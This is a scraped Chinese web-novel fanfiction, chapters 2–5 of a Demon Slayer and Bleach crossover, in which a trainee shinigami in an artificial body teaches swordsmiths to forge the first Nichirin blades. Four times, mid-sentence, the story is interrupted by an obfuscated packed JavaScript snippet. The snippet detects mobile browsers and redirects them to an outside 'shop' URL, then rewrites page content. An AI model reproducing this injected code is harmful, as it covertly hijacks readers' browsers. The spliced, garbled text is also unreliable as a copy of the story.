《(鬼灭+死神)今天也在高危职场夹缝求生》 2. 第 2 章 辰己剑八是个不爱多说注意事项的人。 他粗暴的把我塞进了尸魂界最新研究,还没什么人试过的义骸里,在上面加了几个鬼道,又往我脑子里塞了一张造刀的流程,就把我从天上直接踢到了刀匠村附近人迹罕见的树林里。 我在天空中惨叫:“辰己大人,你连联络方式和后续安排都没告诉我啊!!!” “还有!这么高我会死的!!!我还没学会瞬步啊!!!!!!!” 在我的尖叫声中,我的身体直接穿过一层又一层的紫藤花,掉到了地上,发出好大一身闷响,然后哇地吐了好多鲜血。 这义骸还挺智能的,居然是真血,痛感也是一比一的真…… 我迷迷糊糊的想着这些乱七八糟的事情,只觉得身上越来越冷,差点变成了史上第一个死在义骸里的死神。 哦,不对,我还不算死神,只是死神预备役。 * 如果我死了,这个故事就没有继续下去的必要了。现实是,因为我落地时发出的声音够大,附近的村民闻讯赶来,把我救活了。 我跟个废物一样在床上躺了整整一个月,全身骨折,只能用眼睛观察四周环境。 刀匠村。 顾名思义就是靠造刀生活的村子。 他们不知道为什么都戴着一张有点像跳蚤的面具,每天的生活就是做刀。 但不断有被折断的刀被送回来,这时,刀匠村的大家就会非常沮丧。 负责照顾我的老婆婆一边喂我喝粥一边叹气:“明明什么锻造方法都试了,但就是不够硬。” “那样的东西……”她的语气里流露出一丝哀伤,“是神明对我们的惩罚吗?” “……到底,我们哪里没有做好呢?” 我张了张嘴,心里稍微有点堵。 很想告诉她,这个不是天罚。鬼也是普通人类变的,一定可以被杀死,只是现在有人不让。 但是…… 蓝染大人温和的表情出现在我的脑海里…… ——他其实并没有控制我的大脑,蓝染大人不屑于这么做,他一直是彬彬有礼的人设。 温柔,强大,包容,对我犯的白痴错误常常一笑置之,还会柔声安慰我,说实话,比我以前不得已跟着的那个小贵族同学要拟人多了,只是偶尔会显得非常危险。‘ “圭一,你总是有很多话想说的样子。但每次我问你的时候,你都不愿意说。” “是不敢吗?” “……”我很想替自己辩解,但在他庞大的灵压下,我连眨眼都做不到。 “犹豫,便等于这些话没有说出口的必要,更不需要浮现在脸上。你懂我意思吧?”他还是那样温柔的表情,温柔的语气。 我再傻,从第一次见面时看见的满地尸体上,总能懂上一些模糊的概念。 嘴,又像尸魂界那时一样,牢牢闭紧了。 * 义骸相比于普通人的身体大概还是耐造一点,在刀匠村的精心照顾下,原本被医生评价为无药可救的我,只一个月就恢复了。 他们精心照顾我也是有原因的。 掉落的时候,我从学校带出来的浅打是跟我一起掉下来的,刀匠村的人在捡我的同时也捡到了我身上的刀,各个爱不释手,但没有一个人能分析出这么锋利的刀到底用的是怎么材料,又是用什么方法打造出来的。 他们预测这把刀或许能够斩鬼,但因为刀的归属权在我,他们再怎么疯狂,也只能是在我养病的时候,排着队来看我,顺便抓紧时间仔细地研究一下这把看上去很厉害的刀,然后半个小时过去,自动切换成另一个刀匠爱不释手地研究,二十四小时轮换制。 等我能含糊不清地发出一点声音的时候,大家迫不及待地问了我很多问题。 “这把刀是你的吗?” “是。” “这把刀是你找谁做的?” “我。”做的。 “你做的?” “嗯。” “你怎么做的?” “……” 由于我落地的时候不小心咬到了舌头,现在还是肿的,多余的话就没办法再说了,我们互相只能无助地看着,靠眼神交流。 “你给我快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871143|191841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好快点好快点好快点好快点好快点好快点好快点好快点好快点好快点好……” 虽然是美好的心愿,但被一群人围着密集地碎碎念,着实有点恐怖了。 最后还是照料我的婆婆把他们赶了出去,不准这些人打扰我休养。 独处时,年迈的婆婆轻声对我说:“孩子,对不起……他们不是存心为难你,只是心里太急了。” 她会在我精神稍好的时候,坐在一旁,慢慢地讲起刀匠村的往事。 “我们这个村子,住的都是匠人的后代。因为和恶鬼有血海深仇,才和鬼杀队的大人们结下缘分。后来人渐渐多了,鬼杀队的大人们就找了一处隐蔽的地方,让我们安家,又在村子周围种满了恶鬼厌恶的紫藤花,护我们平安。” “我们无以为报,只能为鬼杀队的剑士们,打造最锋利的刀。” “起初,一把好刀就足以斩鬼。可这百年来,吃人无数的恶鬼不断变强——他们开始有了理智,更加狡猾凶残,有些甚至觉醒了诡异的能力……普通的刀,再也杀不死他们了。” “只要不见阳光,他们就能在黑夜中不断再生。鬼杀队的剑士,必须拼上性命,将他们拖到日出……很多时候,牺牲十几个人,才能换一个恶鬼的灭亡。可一个恶鬼,一夜之间就能毁掉整个小镇。” “鬼杀队的大人们从没有因为刀不好用而责怪我们,他们反而会说,这些不是我们的错,只怪恶鬼进化得太快……但村里每个人,心里都压着沉甸甸的石头。” “为了造出一把能彻底斩杀恶鬼的刀,我们已经试遍了能找到的所有材料,却没有一把成功……也没有一把,能像你的刀那样锋利。” “这样的宝刀,就连大名也不曾拥有。而锻造的技艺,向来是名匠家族中的不传之秘。我们那样冒昧地追问你,擅自研究你的刀……实在过分。” 婆婆目光深邃地看着我,朝我鞠了一躬:“我们知道,再多的道歉,也难以平息你的怒气。但恶鬼实在是一种非常恐怖的生物,我们只能厚着脸皮,仗着救命之恩任性地恳求您,等好了以后,能否教授给我们一些刀具塑造的技巧?” “一点点就好。我们愿意付出所有积蓄,并向你发誓:这些刀,除了杀鬼之外,绝不会有一把流落民间。” 3. 第 3 章 我爽快地一口答应。 那回答干脆利落,快得照顾我的婆婆先是微微一愣,随即眯起眼,枯瘦的手下意识摸了摸自己的耳朵,苍老的脸上浮现出近乎自我怀疑的恍惚神情。自言自语的说:“果然,人老了就是不中用,脑袋里会擅自冒出许多不可能的幻觉。” “不是幻觉哦。”我轻轻的说道。 她刷的一下瞪大了眼睛,一脸震惊,又暗藏了许多期待第看向了我:“不好意思,冒昧问一下,老身刚刚听到的,是‘可以?’” “是啊,没问题。”我说。 其实就算他们不提出来,我也要想办法让他们知道我手里有杀鬼利器,眼下不用我绞尽脑汁想出一个天衣无缝的计划他们就主动来找我,实在是太好了。 在我看来,这不过是各取所需、皆大欢喜的联手。然而,在刀匠村众人眼中,我的应允却蒙上了一层品格高贵且慷慨的色彩,仿佛我为他们做出了难以估量的牺牲。 “圭一阁下!您要认养子吗?我们几个都可以当您的养子,未来替您养老送终!” 几个因为天天打铁长得也跟铁塔一样三大五粗的壮汉在得知这个消息后把我的床围得水泄不通,个个眼眶通红,毫无形象地用手背抹着喷涌而出的热泪,那感激涕零的喊声几乎要掀翻屋顶。 我被这汹涌澎湃的热情震得耳膜发疼,偏偏全身骨折还动不了,只能吃力的歪了歪脑袋,在枕头上轻轻蹭了蹭有些发疼的耳朵,弱弱的问了一下:“我的伤已经好不了了吗?”莫非尸魂界被吹得天花乱坠的最新科技只是个一次性用品? 也不是没可能,这个好像是蓝染大人从别人那里拿到的半成品构想,据说开发得不太完善。 “没有的事情!”听到我的问题,他们异口同声地吼道,声浪更高了。 “您绝对长命百岁!” “万寿无疆!” 啊咧……好像有奇怪的东西混进去了。 “万寿不太可能啦。”我就是个平平无奇的预备役死神,灵压弱到能让大佬同事无情发笑的那种,如果没遇到蓝染大人,能够顺利毕业的话,按照护庭十三队的标准,在最长寿的四番队应该可以苟个两三百年,再优雅的退休,死掉。去最严苛的十一番队的话,大概五十年就能原地退休或者扛不住转队了吧……虽然我倒也不觉得我这种弱鸡身板有去那种猛男番队的才能。 “两百岁差不多可以。”我如果能滋润的活这么久,绝对充分的满意了。 我一本正经的回答先是让这些普通人一愣,然后你看我,我看你,在面面相觑中,不知道谁突然噗呲一声笑了出来,然后满屋子都是哈哈哈,哈哈哈的笑声。 “您真幽默啊,圭一先生。” “我们会诚心祈祷您能活到两百岁的。” “两百岁的话,您一定是人瑞般的存在了,就连君王和将军都会来拜访的吧。” 他们说着说着,又忍不住笑了。 大概过了二十多年以后,我才发现,现世的人寿命甚至不如流魂街。 在这里,平民们满十五岁的年纪,就几乎到了人生的大半了。 刀匠村有鬼杀队供养,寿命比外面的人长了许多,但因为锻刀的关系,还是有很多人活不过五十。 短暂的寿命,却偏偏要去斩杀长寿了几百年的鬼王。 我不懂,我大为震撼。 是我的话,是绝对不会硬碰硬的,特别是我只是个普通鸡蛋,而别人是个金刚石的情况。 所以,即使知道蓝染大人辰己大人他们在暗中准备一个很可怕的计划,一个不好就是三界的大家都死,我能做到的事情也只是捂住眼睛捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871144|191841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵捂住嘴巴。 反正活不了那么久,看不见世界末日,又只是个普通人,压根反抗不了……所以,放任他们爱干嘛干嘛也没关系吧…… 反正我不婚不育不会有后代,一人吃饱全家不饿。同样,我人死了,身上的灵子都会回归大自然,而不是跟现世一样留着躯壳还得防人鞭尸……所以,就算他们想灭世,只要不在我死之前灭,死后灭的话,我也不会有什么不甘心好遗憾的想法留着吧…… “这是神明规定好的宿命。我们只不过是遵循着神明的意志,一路前行而已。” 一年后,一个鬼杀队的新人拜访了刀匠村,对我说了这样一番话。 我对这句话还挺有共鸣的。天杀的,我也不知道是不是投胎的时候得罪了灵王的祖宗十八代,才会遇上蓝染惣右介那个天天想着要毁灭世界的深井冰。 关键是那个深井冰还是个很有能力的深井冰。 不过,新人的下一句,我就没什么共感了。 “我有预感,也许我的诞生,就是为了终结这一切。” 他说。 说出上面这番话的时候,这个新人的脸上没什么表情,没有对于不公平神明的愤怒,也没有出于自己伟大使命的自得或是悲鸣。 就是很平淡,但是很笃定。 基于一些事实,我不由的信了。 这个人的名字,叫继国缘一。 在接下来的十年里,他会以最快的速度变成鬼杀队的最强第一人。 但在十年之后的许多年里,他又会以最不堪的方式成为鬼杀队的绝对禁忌。 而在许多年后的许多年里,随着拥有记忆的人一一死去,这个珍贵的名字,宛如一颗珍珠,被藏在时光的沙砾里,一层一层地盖上了,却又不断地被时间打磨着,静静等待着后人的发掘。 4. 第 4 章 说起我和继国缘一之间的故事,大概要说上一天一夜吧。 我们的故事暂时还没到这一步,需要重新返回刀匠村这边。 蓝染大人监督指导研发出的义骸技术还是相当可靠的。我从那么高的地方摔下来,竟只躺了三个月便完全康复了。在缺医少药的古代,这简直是个奇迹。 人既然好了,我便带着他们去锻刀。锻刀需从材料开始。辰己大人早已在我脑海里准备好了相关资料,虽然不清楚那个地方具体被他们动了什么手脚,但当我将人带去时,随行的刀匠村村民立刻沸腾了起来。 “这、这矿石的质量……是我这辈子见过最好的!”一位年长的刀匠颤抖着捧起一块原石,眼中闪着狂热的光。 “快拿筐来!我要多装点回去!” “我不走了!我今晚就住这儿了!” 这群人无一不是锻刀成痴的狂人,捡拾矿石的简单工作很快演变成你争我抢、甚至有人抱着大块矿石原地打滚耍赖的混乱场面。 眼看日头西斜,天色将晚,随行的鬼杀队队士们想催促他们返程,竟不得不拿出一根长棍,吊上一块品相绝佳的原石,像钓鱼般在前头引着他们一步三回头地往回走。我一天之内见识了人类如此丰富多彩的模样,只能说是大开眼界。 这样一座蕴藏宝矿的山,自然不可能没有主人。 虽然早有预感,辰己大人或许会以某种身份出现在我面前,但亲眼目睹他乔装打扮成山主人,捋着粘上去能遮住大半张脸的胡须,摆出一副倨傲商贾模样踱步而出时,我还是惊得险些没维持住表情。 至于他开口就要了个近乎天文数字的价码,还点名只要金子支付,我已经有些麻木了。 尸魂界……不,是蓝染大人如今这么缺钱吗?连现世的钱财都不放过? 不过我很快发现,没见识的似乎只有我一个人。即便是我眼中近乎离谱的天价,鬼杀队的代表们也并未露出多少惊讶为难之色,只是沉稳地表示需要回去请示他们的主公大人。但在那之前,他们必须验证,这座山的矿石是否真能锻造出最好的刀。 辰己宙生,也就是商人很爽快地答应了,甚至很有生意头脑的免费附赠了不少矿石样品,并大方出借了自家的火炉与场地供刀匠们就近淬炼试刀。 我起初还有些惊讶于他的“慷慨”,直到一道细微的、只有我能感知的鬼道传音悄然钻进脑海:“主要是考虑到你并无实际锻造真刀的经验。万一过程中出现什么技术难题,你应付不来。” 那你们还不如不派我来执行这个任务。我内心疯狂腹诽,表面却还要挤出一副感激涕零的模样,向对方连连道谢。 在我明面的指导与辰己宙生暗中的协助下,锻刀过程异常顺利。当一把把形制相似、寒光隐现,酷似浅打的刀从炉火与铁水间诞生时,饶是知晓内情的我,心头也难免涌上几分真实的激动。 新刀既成,鬼杀队方面派来验看取刀的柱也如期而至。那是一位身材极为高大魁梧的男子,拥有一头火焰般炽烈张扬的红发,精神奕奕的姿态让我联想到夜间目光锐利的猫头鹰。 “这就是大家不辞辛劳锻造出的新刀吗?”他声如洪钟,拿起一柄刀在空中利落地挥动试斩几下,刀刃破空之声清越,“嗯!这手感、重量、还有锋利程度……真是太棒了!!!” 他随即转向我,猛地一个超过九十度的深鞠躬,动作干净利落,诚意十足:“圭一阁下!真的万分感谢您愿意将如此珍贵的祖传秘方贡献出来!” 我上次被人如此郑重其事地感谢时,还瘫在床上动弹不得。这次终于能自由活动了,被他那洪亮的道谢和夸张的鞠躬一惊,我几乎是下意识地就向后弹跳出一大步,连连摆手,语无伦次:“不、不是的!我只是,只是做了很小一部分工作,主要还是靠大家,你们自己真的非常努力……” 我觉得脸上烧得厉害,声音也越来越小,简直不知道自己在胡言乱语些什么。 辰己宙生默不作声地立在我身后,发出了一声轻笑。 他肯定是在看我笑话。 接下来,鬼杀队派出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871145|191841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的通讯乌鸦,去请示那位我至今未曾谋面,但传闻中仁德无双的主公大人。 “哦?乌鸦竟然会说话,这倒是稀罕。”辰己宙生饶有兴致地仰头望着天边渐远的黑色身影。 尸魂界用于通讯的地狱蝶明明更加诡丽梦幻,各类传讯鬼道也远比这方便,他却偏偏对这现世的乌鸦产生了浓厚兴趣,甚至厚着脸皮凑上前商量:“能否赠我一只?若肯割爱,那座矿山的价钱,我可以给你们打个八八折。” 这买卖听起来简直划算得离谱,换作是我,恐怕想都不想就一口应下了。 然而,鬼杀队众人的反应却出乎意料。 他们面面相觑,脸上均露出为难之色。 那位猫头鹰般的柱更是踏前一步,毫不犹豫地断然回绝:“非常感激您对鎹鸦一族的看重,但恕我无法同意!” “不必请示你们的主公吗?”辰己宙生大概鲜少被人当面拒绝,语气顿时沉了下来,透着明显的不悦,“价值万金的矿山,换一只鸟,傻子都知道该怎么选吧。” “万分抱歉!”红发柱的声音斩钉截铁,毫无转圜余地,“鎹鸦并非我们的所有物或工具,它们是与我们一同出生入死、传递情报的战友!为了金钱出卖并肩作战的伙伴,是绝不容许的不义之举!我坚信,我们的主公大人也绝不会同意这样的交易!” “但我想要。” 辰己宙生向前踏了一步,语调平淡,却带着不容置喙的强势。他目光扫过面前的鬼杀队众人,语气微沉:“别忘了,眼下,我还是这座山的主人。” 空气仿佛凝滞了一瞬。 那位红发的柱闻言握紧了拳,却依旧挺直脊背,声音没有丝毫动摇:“即便如此,我们也绝不会出卖同伴!这座山的矿石对我们至关重要,为此,我愿每日守在您的门前,献上我们能寻到的一切珍贵之物,甚至可以立誓,将我自身卖与您作为仆役,任您驱使。唯独不能交出它们。” 他的话语掷地有声,每个字都像是从胸膛里迸发出来,带着灼热的、不容折损的信念。 5. 第 5 章 “我要的是会说话的乌鸦,谁稀罕你了……”辰己宙生毫不客气地翻了个大白眼,语气里充满了嫌弃。 后来相处久了,我也渐渐发现,这位前剑八大人,在无间地狱里待的时间似乎长得有些离谱。留下的后遗症之一,就是会间歇性地变得……嗯,神经质。 乌鸦、天生白发、水之呼吸法……这些八竿子打不着的东西,都能让他瞬间变成敏感肌,就像现在这样。 明明这是蓝染大人亲自交代的任务,他却像是全然忘到了脑后,一个劲儿地跟人家索要乌鸦,说话还丝毫不留情面。我都看见旁边几位鬼杀队队士额角的青筋在突突直跳了。 只有那位红发的柱还在努力试图沟通,态度诚恳得甚至有些笨拙:“我当然明白我无法与劳苦功高的鎹鸦相提并论!但是,真的不能给!除了这个,您还有没有其他想要的东西?只要是我能做到的,我一定拼尽全力去达成!” “没有。”辰己宙生面无表情,斩钉截铁地拒绝,目光在他身上扫了扫,“虽然你的红色眼睛颜色还算特别,但太亮了,晃眼,我不喜欢。至于其他……你们能拿得出来的东西,我都不缺。我只要乌鸦。” “……” 啊啊啊啊啊啊——! 蓝染大人您快睁开眼显个灵吧!再这样下去,我的任务再过一万年也完不成啦! 我在内心崩溃地呐喊,几乎要抓狂,试图用我那贫瘠到可能根本不存在的脑电波,去联系远在尸魂界的蓝染惣右介大人。 或许,诚心诚意真的能感动灵王。 虽然蓝染大人没有出现,但在辰己宙生身后,空气中却缓缓浮现出一道朦胧的、只有我能清晰看见的白色虚影。 在在场的人类无法感知的视角里,那道虚影逐渐凝结,勾勒出一个身着素雅白色和服的女子的轮廓。 她长得……极美。 (请原谅我此刻词汇的极度贫乏。) 作为参照,辰己宙生的颜值,已经是足以在尸魂界称王称霸的存在了。据说他还在真央灵术院读书时,仅仅是在路上正常行走,就常有学生因为盯着他的脸看得太过出神而不小心摔跤。毕业后,在浮竹队长的帮忙下,就有静灵庭的官方杂志跟他签署了专门的合同,每年新年限定发售写真集一本。但每年都是,一经推出便瞬间售罄,市面上连二手都难以寻觅。追求他的人,无论男女,数量多到可怕。甚至有种流传甚广的谣言,说他是不堪其扰,才自愿申请调往现世的。——这件事在我有幸面见蓝染大人之后,确认纯粹是谣传,但足以从侧面印证这位“颜霸”的恐怖影响力。 然而,眼前这位女子,偏偏……比辰己大人还要好看。 我无法具体形容她的模样。因为第一眼望去,是纯粹的、令人屏息的惊艳,下一秒,脑海中关于她具体五官的记忆就会不自觉地开始模糊、褪色,当你不自觉地想再看一眼确认时,又会再次被那份浑然天成的美狠狠击中,周而复始。 她穿着款式古典的洁白和服,举止优雅娴静,带着贵族才会有的雍容气度。见我直愣愣地盯着她,她还朝我这边微微欠身,行了一个无可挑剔的礼。 然后—— “啪!” 下一秒,那只素白如玉、仿佛不染尘埃的手,就以迅雷不及掩耳之势,结结实实地扇在了辰己宙生的后脑勺上! 声音清脆响亮。 我:“……” 不是,这么直接的吗?! 在我惊得几乎要掉下巴的目光注视下,辰己宙生大人却像个没事人一样,只是抬手揉了揉被拍得隐隐作痛的后脑勺。说来也怪,挨了这一下之后,他眼中那点神经质般的执着瞬间消散,眼神变得无比清澈。 “算了,既然你都这样说了,”他撇了撇嘴,语气一下就泄气了,“乌鸦我不要了。” 他居然就这么瞬间松了口! 我惊讶地看向他的后方,但那个穿着白色和服的女人,已经消失不见了。 “非常感谢您的理解!”红发的柱反应极快,几乎是吼出了这句话,随即“砰”地一声,结结实实地行了一个标准的土下座大礼,额头紧贴地面。 “啧……这一天天的……”辰己宙生大人似乎对这份过于隆重的感谢感到些许不耐,他扶着后脑勺,没再多说一个字,转身便一言不发地离场了,背影甚至透出几分莫名的仓促。 直到矿山签约那天,他才勉为其难地再次露面。整个过程他都显得意兴阑珊,连成箱的金子都懒得细数,草草签好契约,便对我们说了声“再见”,顺手连山脚下那片现成的铸造场地也一并附赠给了鬼杀队。 于是,自然又引来了鬼杀队新一轮感激涕零的道谢。 只有我站在一旁,嘴角忍不住轻轻抽搐,彻底理解了他之前那句“我不会演戏”究竟真实到了何种地步。 真·演都懒得演。 除了卖矿山这个主要任务,辰己大人倒是抽空关心了一下我的“学业”。他找了个僻静角落,单刀直入地问:“你的浅打,练得怎么样了?” “呃……”我有点心虚。 “鬼舞辻无惨那家伙,虽然是人和虚强行结合的半吊子,弱得可以,几百年了除了逃命厉害,愣是没开发出一点新东西,”他毫不客气地评价着任务目标,“但你的水平也没比他好到哪儿去。我建议你勤快点,在跟他正式碰面之前,赶紧把属于你自己的斩魄刀弄出来。关键时刻,好歹能拿来挡一下,保住小命。毕竟我和蓝染不可能时时刻刻盯着你的进度。” 斩魄刀,是由真央灵术院统一发放的浅打演变而成。按照教科书和老师的说法,死神通过与浅打朝夕相处,依靠自身的精神、灵压和时间的磨合,最终能将其唤醒,变成独一无二的斩魄刀。 理论是这么说的没错…… “可是,我才跟它相处了不到一年……”我试图解释进度缓慢的合理性。 “一年难道还不够?”辰己大人反问,眉头微微蹙起,那双好看的眼睛里写满了“这有什么问题吗”的疑惑。 我俩大眼瞪小眼,空气陷入了令人窒息的沉默。 半晌,他像是终于接受了某种残酷的现实,妥协般叹了口气:“……行吧,我知道了。” “那你现在,应该至少能时不时听到一点声音了吧?”他换了个方向追问。 “?” 我傻乎乎地看着他,一脸茫然:“什么声音?” “斩魄刀的声音啊!”他的语气带上了一丝难以置信,“就没有什么东西,在你脑子里、或者心里呼唤你吗?哪怕是一点点模糊的感应?” “……”我乖巧且坚定地摇了摇头。 辰己宙生大人的表情,瞬间变得比我这个正主还迷惑,他蹙着好看的眉,脸上写满了一言难尽的无语,仿佛看到了什么不可思议的珍稀笨蛋出现在了他面前。“那……你的浅打,外形上总该有点变化了吧?一点点也算。”他还不死心,试图循循善诱。 “比如……?”我小心翼翼地试探。 “比如刀身的颜色变深或变浅,形状有细微调整,突然多了点纹路,或者少了点装饰之类的。”他列举着可能出现的迹象。 我扯出一个尴尬而不失礼貌的傻笑:“呵呵呵……都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871146|191841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我才跟它相处不到一年呢……” “不到一年有什么要紧的!你个白痴!”他像是被点燃的爆竹,瞬间炸了,“有天赋的人,哪怕灵压暂时不够,但只要一碰到浅打,就能让它立刻产生共鸣,甚至当场来个刀身大变样你知不知道啊混蛋!蓝染那家伙到底招了个什么品种的木头进来!是白痴吗?!他还非要把白痴丢到我这里来特训!!!明明知道我是十一番队出来的!我就没亲手带过你这么……这么没天赋的!!!” 他彻底暴走,怒不可遏地一脚踹翻了旁边的房门,指着外面吼道:“滚蛋!现在!立刻!马上!” 我抱着我那把至今安安静静、毫无特色的浅打,灰溜溜地“滚”了出去。心里倒没觉得委屈,反而有些啼笑皆非。 他举的那些例子,即便在天才云集、精英辈出的真央灵术院,也是百年难遇的奇才级别,哪能像大白菜一样满地都是。 不过,我心底也清楚,若是在灵子充沛的尸魂界,或许我的浅打真的会像他预期的那样,在近一年的相伴后,显露出一点点的不同。可惜,如今它和我一样,流落在这灵子稀薄的现世。 “抱歉啦,小白。”我像模像样地摸了摸浅打那纯白色的刀柄,低声对它说,“咱们两个都只能慢慢来了。” 之后,告别了或许是被我气走的辰己大人,我和刀匠们重新回到了刀匠村。新出的刀,因为矿石都来自那座据说最接近太阳照射的山上,所以有了一个新名字——日轮刀。 因为锻造方法和材料来源都已确定,现在即使没有我在旁指导,那些本就很有经验的刀匠们也能独立打造出相当不错的刀了。我便借口之前摔伤未愈,手腕无力,日常只是动动嘴皮子做些口头指点,或是凭着记忆,把以前在尸魂界见过的那些奇形怪状、各有特色的斩魄刀样式画在纸上供他们参考,看似努力,实则摸鱼,乐得清闲自在。 这样悠闲的日子,一晃又过了一年。 直到某天,那个红发如焰、长得像猫头鹰的柱——现在我知道他的名字了,炼狱光寿郎。他再次来到了刀匠村。这次,他还带来了一个暗红色头发、沉默寡言的男人,说是要为他量身打造一把能斩杀恶鬼的日轮刀。 起初,我并没太当回事,以为又是例行公事的委托。 直到一周后,光寿郎和几位资深刀匠一起,众脸严肃地找到了正在悠闲“养伤”的我。 “圭一师父!”光寿郎的声音是少见的郑重其事,“缘一是我见过最有斩鬼天赋的人,他的刀,恐怕需要您亲自出马才行。” 啥玩意? 我嘴里还嚼着用来清新口气的树叶,一时间没反应过来。 然而,就在这一刻,那个一直安静地站在人群最后方,几乎没什么存在感的红发男人,却毫无征兆地动了! 他的速度快得惊人,如同鬼魅般瞬间飞掠至我的面前。一双暗红色的眼眸如同最深邃的寒潭,冰冷地锁定我,那目光不像是看着活人,更像是在审视一件死物。他的手,已经稳稳按在了腰侧那柄日轮刀的刀柄上,蓄势待发。 “你是什么人?” 他的声音低沉而平稳,却带着一种穿透一切的锐利。 “为什么我看不见你的五脏六腑与骨骼筋脉?” 他的视线强烈得仿佛能穿透义骸的伪装。 也的确被他看透了。 “反而……看见了另一个你,躲在这具壳里?” 我:??? 下一秒。 我:!!! 远在尸魂界的蓝染大人!大事不好了!你的核心科技被人一眼看穿啦!!!